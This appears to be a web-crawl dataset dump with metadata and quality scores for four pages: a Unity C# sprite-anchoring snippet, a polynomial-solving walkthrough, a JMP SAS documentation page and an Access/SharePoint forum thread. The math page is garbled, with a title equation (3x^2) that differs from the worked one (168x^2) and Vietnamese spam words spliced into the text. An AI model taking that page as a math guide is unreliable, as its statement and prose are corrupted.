id
int64
text
string
metadata
dict
line_start_n_end_idx
dict
quality_signals
dict
eai_taxonomy
dict
pid
string
5,286,802,713,445,946,000
Unity 2D – How to anchor a sprite to the left side of the camera viewport using UnityEngine; using System.Collections; public class ActualHeroController : MonoBehaviour { // Use this for initialization void Start () { } // Update is called once per frame void Update () { float camHalfHeight = Camera.main.orthographicSize; float camHalfWidth = Camera.main.aspect * camHalfHeight; Bounds bounds = GetComponent().bounds; // Set a new vector to the top left of the scene Vector3 topLeftPosition = new Vector3(-camHalfWidth, 0, 0) + Camera.main.transform.position; // Offset it by the size of the object topLeftPosition += new Vector3(bounds.size.x / 2,-bounds.size.y / 2, 0); topLeftPosition.z = 0; transform.position = topLeftPosition; } } Leave a Reply Your email address will not be published. Required fields are marked * This site uses Akismet to reduce spam. Learn how your comment data is processed.
{ "url": "https://brianseekford.com/2014/08/28/unity-2d-how-to-anchor-a-sprite-to-the-left-side-of-the-camera-viewport/", "source_domain": "brianseekford.com", "snapshot_id": "crawl=CC-MAIN-2019-04", "warc_metadata": { "Content-Length": "41366", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:JRNEHAD2AA5DBTXIR6QB4K7QMLWSZ3VG", "WARC-Concurrent-To": "<urn:uuid:5f977f21-063a-4bb3-a00b-3255f6b0182f>", "WARC-Date": "2019-01-22T04:00:02Z", "WARC-IP-Address": "23.96.124.25", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:SLMY5EY6JIQGKP7SVM3R7R7SBBQTHB4I", "WARC-Record-ID": "<urn:uuid:7eadfcef-ed38-4ff2-bb0a-bd71ef42e071>", "WARC-Target-URI": "https://brianseekford.com/2014/08/28/unity-2d-how-to-anchor-a-sprite-to-the-left-side-of-the-camera-viewport/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:3db7114e-16b1-40ba-aebe-b364c729cd6f>" }, "warc_info": "isPartOf: CC-MAIN-2019-04\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-81-203-254.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 74, 75, 94, 120, 121, 173, 174, 205, 221, 222, 224, 225, 260, 277, 329, 386, 387, 426, 427, 476, 569, 570, 609, 682, 705, 743, 745, 747, 748, 762, 763, 834, 835 ], "line_end_idx": [ 74, 75, 94, 120, 121, 173, 174, 205, 221, 222, 224, 225, 260, 277, 329, 386, 387, 426, 427, 476, 569, 570, 609, 682, 705, 743, 745, 747, 748, 762, 763, 834, 835, 915 ] }
{ "red_pajama_v2": { "ccnet_original_length": 915, "ccnet_original_nlines": 33, "rps_doc_curly_bracket": 0.006557379849255085, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.2063492089509964, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.005291009787470102, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.3492063581943512, "rps_doc_frac_unique_words": 0.7321428656578064, "rps_doc_mean_word_length": 6.223214149475098, "rps_doc_num_sentences": 18, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.269628524780273, "rps_doc_word_count": 112, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.02152080088853836, "rps_doc_frac_chars_top_3gram": 0, "rps_doc_frac_chars_top_4gram": 0, "rps_doc_books_importance": -74.2796630859375, "rps_doc_books_importance_length_correction": -74.2796630859375, "rps_doc_openwebtext_importance": -51.423336029052734, "rps_doc_openwebtext_importance_length_correction": -40.77794647216797, "rps_doc_wikipedia_importance": -44.05410385131836, "rps_doc_wikipedia_importance_length_correction": -44.05410385131836 }, "fasttext": { "dclm": 0.0647306963801384, "english": 0.6105479598045349, "fineweb_edu_approx": 2.0216588973999023, "eai_general_math": -0.000002739999899858958, "eai_open_web_math": 0.021298769861459732, "eai_web_code": -0.000010009999641624745 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "794.8", "labels": { "level_1": "Arts", "level_2": "Amusements and Recreation", "level_3": "" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
727,180,288,754,784,400
If (x + 1)(x + 2)(x + 3)(x + 6) = 3x^2, then the equation has       Rearrange: Rearrange the equation by subtracting what is to the right of the equal sign from both sides of the equation : (x+1)*(x+2)*(x+3)*(x+6)-(168*x^2)=0 Step by step solution : Step 1 : Equation at the over of step 1 : ((((x+1)•(x+2))•(x+3))•(x+6))-(23•3•7x2) = 0 Step 2 : Equation at the kết thúc of step 2 : (((x+1)•(x+2)•(x+3))•(x+6))-(23•3•7x2) = 0 Step 3 : Equation at the over of step 3 : ((x+1)•(x+2)•(x+3)•(x+6))-(23•3•7x2) = 0 Step 4 : Equation at the end of step 4 : (x+1)•(x+2)•(x+3)•(x+6)-(23•3•7x2) = 0 Step 5 : Polynomial Roots Calculator : 5.1 Find roots (zeroes) of : F(x) = x4+12x3-121x2+72x+36Polynomial Roots Calculator is a set of methods aimed at finding values ofxfor which F(x)=0 Rational Roots thử nghiệm is one of the above mentioned tools. It would only find Rational Roots that is numbers x which can be expressed as the quotient of two integersThe Rational Root Theorem states that if a polynomial zeroes for a rational numberP/Q then p is a factor of the Trailing Constant and Q is a factor of the Leading CoefficientIn this case, the Leading Coefficient is 1 and the Trailing Constant is 36. The factor(s) are: of the Leading Coefficient : 1of the Trailing Constant : 1 ,2 ,3 ,4 ,6 ,9 ,12 ,18 ,36 Let us kiểm tra .... Bạn đang xem: If (x + 1)(x + 2)(x + 3)(x + 6) = 3x^2, then the equation has PQP/QF(P/Q)Divisor -11 -1.00 -168.00 -21 -2.00 -672.00 -31 -3.00-1512.00 -41 -4.00-2700.00 -61 -6.00-6048.00 -91 -9.00-12600.00 -121-12.00-18252.00 -181-18.00-5472.00 -361-36.00960372.00 11 1.00 0.00x-1 21 2.00 -192.00 31 3.00 -432.00 41 4.00 -588.00 61 6.00 0.00x-6 91 9.00 6192.00 121 12.0024948.00 181 18.00137088.00 361 36.002085300.00 The Factor Theorem states that if P/Q is root of a polynomial then this polynomial can be divided by q*x-p chú ý that q and p originate from P/Q reduced khổng lồ its lowest terms In our case this means that x4+12x3-121x2+72x+36can be divided by 2 different polynomials,including by x-6 Polynomial Long Division : 5.2 Polynomial Long Division Dividing : x4+12x3-121x2+72x+36("Dividend") By:x-6("Divisor") dividendx4+12x3-121x2+72x+36 -divisor* x3x4-6x3 remainder18x3-121x2+72x+36 -divisor* 18x218x3-108x2 remainder-13x2+72x+36 -divisor* -13x1-13x2+78x remainder-6x+36 -divisor* -6x0-6x+36 remainder0 Quotient : x3+18x2-13x-6 Remainder: 0 Polynomial Roots Calculator : 5.3 Find roots (zeroes) of : F(x) = x3+18x2-13x-6See theory in step 5.1 In this case, the Leading Coefficient is 1 and the Trailing Constant is -6. The factor(s) are: of the Leading Coefficient : 1of the Trailing Constant : 1 ,2 ,3 ,6 Let us thử nghiệm .... Xem thêm: Phim Đấu Phá Thương Khung Phần 5 Bao Giờ Ra Mắt, Đấu Khí Đại Lục PQP/QF(P/Q)Divisor -11 -1.00 24.00 -21 -2.00 84.00 -31 -3.00 168.00 -61 -6.00 504.00 11 1.00 0.00x-1 21 2.00 48.00 31 3.00 144.00 61 6.00 780.00 The Factor Theorem states that if P/Q is root of a polynomial then this polynomial can be divided by q*x-p lưu ý that q and phường originate from P/Q reduced to its lowest terms In our case this means that x3+18x2-13x-6can be divided with x-1 Polynomial Long Division : 5.4 Polynomial Long Division Dividing : x3+18x2-13x-6("Dividend") By:x-1("Divisor") dividendx3+18x2-13x-6 -divisor* x2x3-x2 remainder19x2-13x-6 -divisor* 19x119x2-19x remainder6x-6 -divisor* 6x06x-6 remainder0 Quotient : x2+19x+6 Remainder: 0 Trying to factor by splitting the middle term 5.5Factoring x2+19x+6 The first term is, x2 its coefficient is 1.The middle term is, +19x its coefficient is 19.The last term, "the constant", is +6Step-1 : Multiply the coefficient of the first term by the constant 1•6=6Step-2 : Find two factors of 6 whose sum equals the coefficient of the middle term, which is 19. Xem thêm: Sơ Cứu Khi Gặp Người Tai Nạn Gãy Xương Cần Làm Gì ? Gặp Người Bị Tai Nạn Gãy Xương Ta Cần Làm Gì -6+-1=-7 -3+-2=-5 -2+-3=-5 -1+-6=-7 1+6=7 2+3=5 3+2=5 6+1=7 Observation : No two such factors can be found !! Conclusion : Trinomial can not be factored Equation at the kết thúc of step 5 : (x2 + 19x + 6) • (x - 1) • (x - 6) = 0 Step 6 : Theory - Roots of a sản phẩm :6.1 A product of several terms equals zero.When a hàng hóa of two or more terms equals zero, then at least one of the terms must be zero.We shall now solve each term = 0 separatelyIn other words, we are going to lớn solve as many equations as there are terms in the productAny solution of term = 0 solves hàng hóa = 0 as well. Parabola, Finding the Vertex:6.2Find the Vertex ofy = x2+19x+6Parabolas have a highest or a lowest point called the Vertex.Our parabola opens up and accordingly has a lowest point (AKA absolute minimum).We know this even before plotting "y" because the coefficient of the first term,1, is positive (greater than zero).Each parabola has a vertical line of symmetry that passes through its vertex. Because of this symmetry, the line of symmetry would, for example, pass through the midpoint of the two x-intercepts (roots or solutions) of the parabola. That is, if the parabola has indeed two real solutions.Parabolas can model many real life situations, such as the height above ground, of an object thrown upward, after some period of time. The vertex of the parabola can provide us with information, such as the maximum height that object, thrown upwards, can reach. For this reason we want khổng lồ be able to find the coordinates of the vertex.For any parabola,Ax2+Bx+C,the x-coordinate of the vertex is given by -B/(2A). In our case the x coordinate is -9.5000Plugging into the parabola formula -9.5000 for x we can calculate the y-coordinate:y = 1.0 * -9.50 * -9.50 + 19.0 * -9.50 + 6.0 or y = -84.250 Parabola, Graphing Vertex and X-Intercepts : Root plot for : y = x2+19x+6 Axis of Symmetry (dashed) x=-9.50 Vertex at x,y = -9.50,-84.25 x-Intercepts (Roots) : Root 1 at x,y = -18.68, 0.00 Root 2 at x,y = -0.32, 0.00 Solve Quadratic Equation by Completing The Square 6.3Solvingx2+19x+6 = 0 by Completing The Square.Subtract 6 from both side of the equation :x2+19x = -6Now the clever bit: Take the coefficient of x, which is 19, divide by two, giving 19/2, and finally square it giving 361/4Add 361/4 to lớn both sides of the equation :On the right hand side we have:-6+361/4or, (-6/1)+(361/4)The common denominator of the two fractions is 4Adding (-24/4)+(361/4) gives 337/4So adding lớn both sides we finally get:x2+19x+(361/4) = 337/4Adding 361/4 has completed the left hand side into a perfect square :x2+19x+(361/4)=(x+(19/2))•(x+(19/2))=(x+(19/2))2 Things which are equal to lớn the same thing are also equal to one another. Sincex2+19x+(361/4) = 337/4 andx2+19x+(361/4) = (x+(19/2))2 then, according lớn the law of transitivity,(x+(19/2))2 = 337/4We"ll refer to lớn this Equation as Eq. #6.3.1 The Square Root Principle says that When two things are equal, their square roots are equal.Note that the square root of(x+(19/2))2 is(x+(19/2))2/2=(x+(19/2))1=x+(19/2)Now, applying the Square Root Principle to Eq.#6.3.1 we get:x+(19/2)= √ 337/4 Subtract 19/2 from both sides to obtain:x = -19/2 + √ 337/4 Since a square root has two values, one positive and the other negativex2 + 19x + 6 = 0has two solutions:x = -19/2 + √ 337/4 orx = -19/2 - √ 337/4 chú ý that √ 337/4 can be written as√337 / √4which is √337 / 2 Solve Quadratic Equation using the Quadratic Formula 6.4Solvingx2+19x+6 = 0 by the Quadratic Formula.According to lớn the Quadratic Formula,x, the solution forAx2+Bx+C= 0 , where A, B & C are numbers, often called coefficients, is given by :-B± √B2-4ACx = ————————2A In our case,A= 1B= 19C= 6 Accordingly,B2-4AC=361 - 24 =337Applying the quadratic formula : -19 ± √ 337 x=——————2 √ 337 , rounded to lớn 4 decimal digits, is 18.3576So now we are looking at:x=(-19± 18.358 )/2Two real solutions:x =(-19+√337)/2=-0.321 or:x =(-19-√337)/2=-18.679 Solving a Single Variable Equation:6.5Solve:x-1 = 0Add 1 to lớn both sides of the equation:x = 1 Solving a Single Variable Equation:6.6Solve:x-6 = 0Add 6 lớn both sides of the equation:x = 6 Four solutions were found : x = 6x = 1x =(-19-√337)/2=-18.679 x =(-19+√337)/2=-0.321
{ "url": "https://ccevents.vn/x-1-x-2-x-3-x-6/", "source_domain": "ccevents.vn", "snapshot_id": "CC-MAIN-2023-23", "warc_metadata": { "Content-Length": "39269", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:Z2YB76VWSA4VQBKSOXND3GSPSFCNTOEI", "WARC-Concurrent-To": "<urn:uuid:e4899d14-367e-43dd-a872-0e5bfc297dac>", "WARC-Date": "2023-05-27T23:24:04Z", "WARC-IP-Address": "104.21.71.163", "WARC-Identified-Payload-Type": "application/xhtml+xml", "WARC-Payload-Digest": "sha1:WNGKLCSYTS3HNPOMHCOO2TX7YRQYINXP", "WARC-Record-ID": "<urn:uuid:b7bf9787-44b3-4137-8a8f-420f5c33a0d8>", "WARC-Target-URI": "https://ccevents.vn/x-1-x-2-x-3-x-6/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:b1bf813a-910b-4d35-831a-fabe91931230>" }, "warc_info": "isPartOf: CC-MAIN-2023-23\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-52\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 62, 63, 69, 70, 81, 82, 229, 230, 254, 255, 264, 265, 298, 299, 344, 345, 354, 355, 435, 436, 445, 446, 520, 521, 530, 531, 602, 603, 612, 613, 643, 644, 1337, 1338, 1414, 1415, 1434, 1452, 1470, 1488, 1506, 1524, 1543, 1563, 1582, 1602, 1618, 1634, 1650, 1666, 1682, 1698, 1716, 1735, 1755, 1756, 2042, 2043, 2070, 2071, 2162, 2163, 2192, 2211, 2238, 2263, 2285, 2310, 2326, 2347, 2358, 2359, 2397, 2398, 2428, 2429, 2687, 2688, 2763, 2764, 2783, 2799, 2815, 2832, 2849, 2865, 2879, 2894, 2909, 2910, 3153, 3154, 3181, 3182, 3266, 3267, 3289, 3307, 3327, 3350, 3364, 3382, 3393, 3394, 3427, 3428, 3474, 3475, 3793, 3794, 3901, 3902, 3911, 3920, 3929, 3938, 3944, 3950, 3956, 3962, 3963, 4056, 4057, 4094, 4095, 4134, 4135, 4144, 4145, 4502, 4503, 5710, 5711, 5756, 5757, 5929, 5930, 5980, 5981, 7331, 7332, 7385, 7386, 7876, 7877, 7974, 7975, 8069, 8070, 8098, 8099 ], "line_end_idx": [ 62, 63, 69, 70, 81, 82, 229, 230, 254, 255, 264, 265, 298, 299, 344, 345, 354, 355, 435, 436, 445, 446, 520, 521, 530, 531, 602, 603, 612, 613, 643, 644, 1337, 1338, 1414, 1415, 1434, 1452, 1470, 1488, 1506, 1524, 1543, 1563, 1582, 1602, 1618, 1634, 1650, 1666, 1682, 1698, 1716, 1735, 1755, 1756, 2042, 2043, 2070, 2071, 2162, 2163, 2192, 2211, 2238, 2263, 2285, 2310, 2326, 2347, 2358, 2359, 2397, 2398, 2428, 2429, 2687, 2688, 2763, 2764, 2783, 2799, 2815, 2832, 2849, 2865, 2879, 2894, 2909, 2910, 3153, 3154, 3181, 3182, 3266, 3267, 3289, 3307, 3327, 3350, 3364, 3382, 3393, 3394, 3427, 3428, 3474, 3475, 3793, 3794, 3901, 3902, 3911, 3920, 3929, 3938, 3944, 3950, 3956, 3962, 3963, 4056, 4057, 4094, 4095, 4134, 4135, 4144, 4145, 4502, 4503, 5710, 5711, 5756, 5757, 5929, 5930, 5980, 5981, 7331, 7332, 7385, 7386, 7876, 7877, 7974, 7975, 8069, 8070, 8098, 8099, 8155 ] }
{ "red_pajama_v2": { "ccnet_original_length": 8155, "ccnet_original_nlines": 151, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.21677741408348083, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.016196010634303093, "rps_doc_frac_lines_end_with_ellipsis": 0.013157890178263187, "rps_doc_frac_no_alph_words": 0.49750831723213196, "rps_doc_frac_unique_words": 0.39662107825279236, "rps_doc_mean_word_length": 4.824617862701416, "rps_doc_num_sentences": 120, "rps_doc_symbol_to_word_ratio": 0.0016611299943178892, "rps_doc_unigram_entropy": 5.5798115730285645, "rps_doc_word_count": 1243, "rps_doc_frac_chars_dupe_10grams": 0.07737202197313309, "rps_doc_frac_chars_dupe_5grams": 0.14890779554843903, "rps_doc_frac_chars_dupe_6grams": 0.11989328265190125, "rps_doc_frac_chars_dupe_7grams": 0.09904952347278595, "rps_doc_frac_chars_dupe_8grams": 0.08937802165746689, "rps_doc_frac_chars_dupe_9grams": 0.08937802165746689, "rps_doc_frac_chars_top_2gram": 0.017508750781416893, "rps_doc_frac_chars_top_3gram": 0.010838749818503857, "rps_doc_frac_chars_top_4gram": 0.009337999857962132, "rps_doc_books_importance": -1148.5721435546875, "rps_doc_books_importance_length_correction": -1148.5721435546875, "rps_doc_openwebtext_importance": -613.0382690429688, "rps_doc_openwebtext_importance_length_correction": -613.0382690429688, "rps_doc_wikipedia_importance": -416.35614013671875, "rps_doc_wikipedia_importance_length_correction": -416.35614013671875 }, "fasttext": { "dclm": 0.5500580668449402, "english": 0.820019006729126, "fineweb_edu_approx": 3.0611178874969482, "eai_general_math": 0.9948673248291016, "eai_open_web_math": 0.6842959523200989, "eai_web_code": 0.577107846736908 } }
{ "free_decimal_correspondence": { "primary": { "code": "512.94", "labels": { "level_1": "Science and Natural history", "level_2": "Mathematics", "level_3": "Algebra" } }, "secondary": { "code": "512", "labels": { "level_1": "Science and Natural history", "level_2": "Mathematics", "level_3": "Algebra" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-5,337,813,824,887,451,000
Parameters | Expression Parameters | Transposed Output Data Set Transposed Output Data Set The Transposed Output Data Set field is used to specify a name for the transposed output SAS data set. If no name is specified here, the name of the input data set, with _xxxt appended as a suffix, is specified by default. Note : The suffix appended to the transposed output data set is _xxxt , where xxx is the suffix normally appended to the standard, non-transposed output data set created for the particular process. For detailed information about the files and data sets used or created by JMP Life Sciences software, see Files and Data Sets . To Specify a Name for the Transposed Output Data Set: * * For example, in the Domain Incidence Indicators process, type Nicardipine_Results in the text field, as shown below: The resulting data set is named: Nicardipine_Results_diit.sas7bdat .
{ "url": "https://www.jmp.com/support/downloads/JMPG82_documentation/PA_G_EX_0353.html", "source_domain": "www.jmp.com", "snapshot_id": "crawl=CC-MAIN-2022-05", "warc_metadata": { "Content-Length": "7191", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:N6H67U27FFB7K2CYQNV5ZOVXBGFENRBP", "WARC-Concurrent-To": "<urn:uuid:98b45204-6a1b-43a4-b61b-2431e942ab08>", "WARC-Date": "2022-01-19T20:06:15Z", "WARC-IP-Address": "23.208.33.227", "WARC-Identified-Payload-Type": "application/xhtml+xml", "WARC-Payload-Digest": "sha1:76CEEVH3VV5YAWCGWQBWZN3WNZMCPAI3", "WARC-Record-ID": "<urn:uuid:e8c48391-a5f6-4e41-a32b-f64364cc80a4>", "WARC-Target-URI": "https://www.jmp.com/support/downloads/JMPG82_documentation/PA_G_EX_0353.html", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:843196f3-809d-4078-9b46-80d20b504d07>" }, "warc_info": "isPartOf: CC-MAIN-2022-05\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-84\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 1, 65, 66, 93, 196, 316, 514, 642, 696, 698, 700, 817 ], "line_end_idx": [ 1, 65, 66, 93, 196, 316, 514, 642, 696, 698, 700, 817, 885 ] }
{ "red_pajama_v2": { "ccnet_original_length": 885, "ccnet_original_nlines": 12, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 1, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3313252925872803, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.012048190459609032, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.14457830786705017, "rps_doc_frac_unique_words": 0.44999998807907104, "rps_doc_mean_word_length": 5.050000190734863, "rps_doc_num_sentences": 6, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 3.7512543201446533, "rps_doc_word_count": 140, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.18528996407985687, "rps_doc_frac_chars_dupe_6grams": 0.10183876007795334, "rps_doc_frac_chars_dupe_7grams": 0.10183876007795334, "rps_doc_frac_chars_dupe_8grams": 0.10183876007795334, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.089108906686306, "rps_doc_frac_chars_top_3gram": 0.11032532155513763, "rps_doc_frac_chars_top_4gram": 0.16265912353992462, "rps_doc_books_importance": -94.18079376220703, "rps_doc_books_importance_length_correction": -94.18079376220703, "rps_doc_openwebtext_importance": -51.410118103027344, "rps_doc_openwebtext_importance_length_correction": -43.81168746948242, "rps_doc_wikipedia_importance": -34.930809020996094, "rps_doc_wikipedia_importance_length_correction": -34.930809020996094 }, "fasttext": { "dclm": 0.25636982917785645, "english": 0.7607428431510925, "fineweb_edu_approx": 2.8633482456207275, "eai_general_math": 0.9908122420310974, "eai_open_web_math": 0.5716369152069092, "eai_web_code": 0.9852813482284546 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.462", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "570", "labels": { "level_1": "Science and Natural history", "level_2": "Biology and Anthropology", "level_3": "" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "1", "label": "No Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-8,680,609,588,003,538,000
Results 1 to 2 of 2 1. #1 4 Star Lounger Join Date Nov 2002 Location London, Gtr London, England Posts 496 Thanks 8 Thanked 0 Times in 0 Posts ACCESS 2013: web db vs desktop db vs SharePoint Lists Dear Loungers, i have been debating the best way of using these tools. My questions are 1. My understanding is that performance-wise Access web is better than a collection of Sharepoint lists, is that true? 2. Access web db doesn't offer crosstab and other complex tools, so what is the best way of having a web db but also being able to do these things? 3. Sometimes a list is handy in Sharepoint, however the data may also be needed in Access. Can a list be driven from an access table and sync - like Excel & SP functionality? 4. It feels like I will end up with an Access desktop db, an Access web db, a collection of SP lists for convenience. What would be the best way to configure this and what is the best relationship to have between each of them? Thank you, liz 2. #2 Super Moderator Join Date Aug 2001 Location Evergreen, CO, USA Posts 6,644 Thanks 3 Thanked 65 Times in 64 Posts Lots of others are debating those same issues, and it seems there isn't much consensus. In fact there doesn't seem to be much guidance either. I don't have personal experience, but did work with another person trying to use SharePoint who finally got it to work - see SharePoint Help!. Note that in this specific instance the objective was to have an Access front-end at two different physical locations working on data in the cloud. Some of the references may be useful. Also there are some videos posted by Microsoft that walk through the steps to get to a working web db. Part of the issue is nomenclature - Microsoft tends to equate Access databases published to SharePoint as web dbs. However it is possible to link directly to a SQL Azure database as I understand it, and that solution is sometimes referred to as a hybrid database, and sometimes as a web database. At this point, my two-cents is that the best performance is with a local database. If you put the back-end in the cloud, you can still get good performance if you return small recordsets to forms or reports in an Access front-end. If a web-based front-end will work, then SharePoint is a reasonable solution, but with the same constraints on recordset size. The bottom line I think is that Access offers a much richer user interface than any web-based tools that are currently available, and does it with much less development effort. Others may disagree.... Wendell Posting Permissions • You may not post new threads • You may not post replies • You may not post attachments • You may not edit your posts •  
{ "url": "http://windowssecrets.com/forums/showthread.php/164114-ACCESS-2013-web-db-vs-desktop-db-vs-SharePoint-Lists", "source_domain": "windowssecrets.com", "snapshot_id": "crawl=CC-MAIN-2017-17", "warc_metadata": { "Content-Length": "50061", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:AWDVMPSE6Q6IY2X55IO5JC2CUY5Y7NAO", "WARC-Concurrent-To": "<urn:uuid:19d79dce-cb1f-456c-bb5c-e6b521c6184e>", "WARC-Date": "2017-04-29T21:55:38Z", "WARC-IP-Address": "69.167.156.32", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:C7NLGEG5Q5TCWPD2UHJQLLMVT43FHSBS", "WARC-Record-ID": "<urn:uuid:e07ecec0-a93f-4696-a8b8-acefcc47b002>", "WARC-Target-URI": "http://windowssecrets.com/forums/showthread.php/164114-ACCESS-2013-web-db-vs-desktop-db-vs-SharePoint-Lists", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:46e785cb-16a0-4ed0-a836-34d22ac81af9>" }, "warc_info": "robots: classic\r\nhostname: ip-10-145-167-34.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-17\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for April 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
